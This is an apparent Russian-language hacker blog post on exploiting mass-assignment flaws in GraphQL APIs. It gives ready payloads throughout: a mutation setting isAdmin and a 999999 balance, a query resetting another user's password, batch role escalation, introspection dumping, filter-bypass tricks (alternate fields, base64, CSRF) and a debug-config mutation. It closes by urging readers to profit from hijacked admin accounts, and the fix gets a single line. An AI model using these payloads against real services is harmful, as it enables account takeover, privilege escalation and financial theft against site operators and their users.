GraphQL-эндпоинт на /graphql
принимает мутации вроде updateUser(input: {name: "bro"})
. Кидаешь в input
лишние поля — isAdmin: true
, а сервер молча хавает и возвращает 200 OK
. Пахнет Mass Assignment, как старый бургер под диваном в подвале.
Как поймал:
— Инструмент: GraphiQL
+ кастомный запрос через curl
.
— Метод: Добавил в мутацию поля id
, role
, permissions
→ сервер обновил без валидации.
Чем пахнет:
— Класс: Mass Assignment → привилегии/перезапись критических данных.
— Вероятность: 8.5/10. GraphQL-разрабы часто забывают про whitelist на backend’е.
Че почем
Эксплойт:
1 2 3 4 5 6 7 |
POST /graphql HTTP/1.1 Host: target.com Content-Type: application/json { "query": "mutation { updateUser(input: { id: 1337, name: \"hacked\", isAdmin: true, permissions: [\"root\", \"all\"], balance: 999999 }) { id name } }" } |
Итог: Ты теперь админ с миллионом на счету.
Обход защиты:
— Если фильтр на isAdmin
: Используй альтернативные поля: role: "superuser"
, accessLevel: 999
.
— Если мутация только для авторизованных: Ломай через CSRF или найди публичный эндпоинт createUser
.
— Если бэкенд режет JSON: Закодируй поля в base64 и отправь через параметр: "input": {"data": "eyJpc0FkbWluIjp0cnVlfQ=="}
.
Доказательство:
Скриншот ответа {"data": {"updateUser": {"id": 1337, "name": "hacked"}}}
. «Видишь isAdmin: true? Это не баг — это твой новый аккаунт».
Советы
3 вектора для добивания:
-
Перехват чужих данных: Вставь в мутацию
id
другого юзера → поменяй ему пароль на123456
.
1 |
{"query": "mutation { updateUser(input: {id: 42, password: \"pwned\"}) { id } }"} |
-
Массовый дамп: Если есть
batchUpdate
, кидай массивids: [1,2,3,...,999]
и меняй всемrole: "admin"
. -
Скрытые поля: Фаззи поля из документации или утечек:
internalAccessToken
,debugMode
,bypass2FA
.
План атаки:
-
Собираешь инфу об API через
introspection
(если включено):
1 |
{"query": "query { __schema { mutationType { fields { name args { name type { name } } } } } }"} |
-
Вытаскиваешь все мутации и их параметры.
-
Кидаешь в
input
всё, что пахнет привилегиями:isVerified
,canDelete
,accountType
. -
Если успех — получаешь root или сливаешь данные через
query { users { id email balance } }
.
Бонус от деда
Если в хедерах X-GraphQL-Framework: Apollo/2.3
:
— Гугли известные миссконфиги Apollo + автоматизируй фаззинг через graphqlmap
.
— Эксплойт:
1 |
{"query": "mutation { setConfig(input: {debug: true, logLevel: \"all\"}) { status } }"} |
Мемная аналитика:
«GraphQL Mass Assignment — как заказать пиццу с анчоусами, а получить доступ к ядерным кодам».
Итог:
— Уязвимость: Отсутствие валидации входных данных в мутациях.
— Фикс: Использовать whitelist для полей в input
, ограничить introspection.
— Но пока девы верят в «GraphQL сам по себе безопасен» — греби бабло с аккаунтов админов.